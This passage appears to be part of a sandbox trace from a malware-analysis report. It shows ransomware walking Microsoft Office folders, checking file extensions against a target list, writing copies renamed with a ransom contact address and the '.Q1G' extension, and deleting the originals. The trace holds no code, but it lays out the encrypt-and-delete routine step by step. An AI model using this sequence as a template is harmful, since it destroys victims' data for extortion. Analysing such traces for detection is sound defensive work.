Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.151] lstrlenW (lpString=".1cd") returned 4 [0242.151] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.151] lstrlenW (lpString=".jpg") returned 4 [0242.151] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.151] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.151] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0242.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.155] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=10562) returned 1 [0242.155] CloseHandle (hObject=0x394) returned 1 [0242.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0242.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.156] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.156] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.156] GetLastError () returned 0x0 [0242.156] ReadFile (in: hFile=0x394, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x2942, lpOverlapped=0x0) returned 1 [0242.158] WriteFile (in: hFile=0x338, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x2950, lpOverlapped=0x0) returned 1 [0242.159] ReadFile (in: hFile=0x394, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0242.159] WriteFile (in: hFile=0x338, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.159] SetEndOfFile (hFile=0x338) returned 1 [0242.159] CloseHandle (hObject=0x338) returned 1 [0242.159] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.159] SetEndOfFile (hFile=0x394) returned 1 [0242.216] CloseHandle (hObject=0x394) returned 1 [0242.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0242.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.419] lstrlenW (lpString=".doc") returned 4 [0242.419] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.419] lstrlenW (lpString=".docx") returned 5 [0242.419] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.419] lstrlenW (lpString=".pdf") returned 4 [0242.419] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString=".xls") returned 4 [0242.419] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString=".xlsx") returned 5 [0242.419] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.419] lstrlenW (lpString=".ppt") returned 4 [0242.419] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.419] lstrlenW (lpString=".zip") returned 4 [0242.419] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString=".rar") returned 4 [0242.419] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString=".bz2") returned 4 [0242.420] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.420] lstrlenW (lpString=".7z") returned 3 [0242.420] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.420] lstrlenW (lpString=".dbf") returned 4 [0242.420] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.420] lstrlenW (lpString=".1cd") returned 4 [0242.420] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.420] lstrlenW (lpString=".jpg") returned 4 [0242.420] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.420] lstrlenW (lpString=".doc") returned 4 [0242.420] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.420] lstrlenW (lpString=".docx") returned 5 [0242.420] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.420] lstrlenW (lpString=".pdf") returned 4 [0242.420] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.420] lstrlenW (lpString=".xls") returned 4 [0242.420] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.420] lstrlenW (lpString=".xlsx") returned 5 [0242.420] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.420] lstrlenW (lpString=".ppt") returned 4 [0242.420] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.420] lstrlenW (lpString=".zip") returned 4 [0242.420] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.420] lstrlenW (lpString=".rar") returned 4 [0242.420] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.420] lstrlenW (lpString=".bz2") returned 4 [0242.421] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.421] lstrlenW (lpString=".7z") returned 3 [0242.421] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.421] lstrlenW (lpString=".dbf") returned 4 [0242.421] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.421] lstrlenW (lpString=".1cd") returned 4 [0242.421] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0242.421] lstrlenW (lpString=".jpg") returned 4 [0242.421] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.421] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.421] lstrlenW (lpString="PARNT_02.MID") returned 12 [0242.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.708] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=5714) returned 1 [0242.708] CloseHandle (hObject=0x204) returned 1 [0242.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0242.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.734] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.734] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.210] GetLastError () returned 0x0 [0243.210] ReadFile (in: hFile=0x39c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x1652, lpOverlapped=0x0) returned 1 [0243.211] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x1660, lpOverlapped=0x0) returned 1 [0243.212] ReadFile (in: hFile=0x39c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.212] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.212] SetEndOfFile (hFile=0x3a4) returned 1 [0243.212] CloseHandle (hObject=0x3a4) returned 1 [0243.213] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.213] SetEndOfFile (hFile=0x39c) returned 1 [0243.223] CloseHandle (hObject=0x39c) returned 1 [0243.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0243.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.293] lstrlenW (lpString=".doc") returned 4 [0243.293] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.293] lstrlenW (lpString=".docx") returned 5 [0243.293] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0243.293] lstrlenW (lpString=".pdf") returned 4 [0243.293] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.293] lstrlenW (lpString=".xls") returned 4 [0243.293] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.293] lstrlenW (lpString=".xlsx") returned 5 [0243.293] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0243.293] lstrlenW (lpString=".ppt") returned 4 [0243.293] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.294] lstrlenW (lpString=".zip") returned 4 [0243.294] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.294] lstrlenW (lpString=".rar") returned 4 [0243.294] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.294] lstrlenW (lpString=".bz2") returned 4 [0243.294] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.294] lstrlenW (lpString=".7z") returned 3 [0243.294] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.294] lstrlenW (lpString=".dbf") returned 4 [0243.294] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.294] lstrlenW (lpString=".1cd") returned 4 [0243.294] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.294] lstrlenW (lpString=".jpg") returned 4 [0243.294] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.294] lstrlenW (lpString=".doc") returned 4 [0243.294] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.294] lstrlenW (lpString=".docx") returned 5 [0243.294] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0243.294] lstrlenW (lpString=".pdf") returned 4 [0243.294] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.294] lstrlenW (lpString=".xls") returned 4 [0243.294] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.294] lstrlenW (lpString=".xlsx") returned 5 [0243.294] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0243.294] lstrlenW (lpString=".ppt") returned 4 [0243.294] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.294] lstrlenW (lpString=".zip") returned 4 [0243.294] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.295] lstrlenW (lpString=".rar") returned 4 [0243.295] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.295] lstrlenW (lpString=".bz2") returned 4 [0243.295] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.295] lstrlenW (lpString=".7z") returned 3 [0243.295] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.295] lstrlenW (lpString=".dbf") returned 4 [0243.295] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.295] lstrlenW (lpString=".1cd") returned 4 [0243.295] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0243.295] lstrlenW (lpString=".jpg") returned 4 [0243.295] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.295] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.295] lstrlenW (lpString="Apex.eftx") returned 9 [0243.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.303] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=218310) returned 1 [0243.303] CloseHandle (hObject=0x398) returned 1 [0243.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0243.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.318] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.319] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.322] GetLastError () returned 0x0 [0243.322] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x354c6, lpOverlapped=0x0) returned 1 [0243.336] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x354d0, lpOverlapped=0x0) returned 1 [0243.340] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.340] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0243.340] SetEndOfFile (hFile=0x3a4) returned 1 [0243.340] CloseHandle (hObject=0x3a4) returned 1 [0243.341] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.341] SetEndOfFile (hFile=0x398) returned 1 [0243.346] CloseHandle (hObject=0x398) returned 1 [0243.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 1 [0243.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.348] lstrlenW (lpString=".doc") returned 4 [0243.348] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.348] lstrlenW (lpString=".docx") returned 5 [0243.348] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.348] lstrlenW (lpString=".pdf") returned 4 [0243.348] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.348] lstrlenW (lpString=".xls") returned 4 [0243.348] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.348] lstrlenW (lpString=".xlsx") returned 5 [0243.348] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.348] lstrlenW (lpString=".ppt") returned 4 [0243.348] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.348] lstrlenW (lpString=".zip") returned 4 [0243.348] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.348] lstrlenW (lpString=".rar") returned 4 [0243.348] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.348] lstrlenW (lpString=".bz2") returned 4 [0243.348] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.348] lstrlenW (lpString=".7z") returned 3 [0243.348] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.348] lstrlenW (lpString=".dbf") returned 4 [0243.348] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.348] lstrlenW (lpString=".1cd") returned 4 [0243.348] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.349] lstrlenW (lpString=".jpg") returned 4 [0243.349] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.349] lstrlenW (lpString=".doc") returned 4 [0243.349] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString=".docx") returned 5 [0243.349] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.349] lstrlenW (lpString=".pdf") returned 4 [0243.349] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString=".xls") returned 4 [0243.349] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString=".xlsx") returned 5 [0243.349] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.349] lstrlenW (lpString=".ppt") returned 4 [0243.349] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.349] lstrlenW (lpString=".zip") returned 4 [0243.349] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString=".rar") returned 4 [0243.349] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString=".bz2") returned 4 [0243.349] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString=".7z") returned 3 [0243.349] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.349] lstrlenW (lpString=".dbf") returned 4 [0243.349] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.349] lstrlenW (lpString=".1cd") returned 4 [0243.350] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0243.350] lstrlenW (lpString=".jpg") returned 4 [0243.350] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.350] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.350] lstrlenW (lpString="Aspect.eftx") returned 11 [0243.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 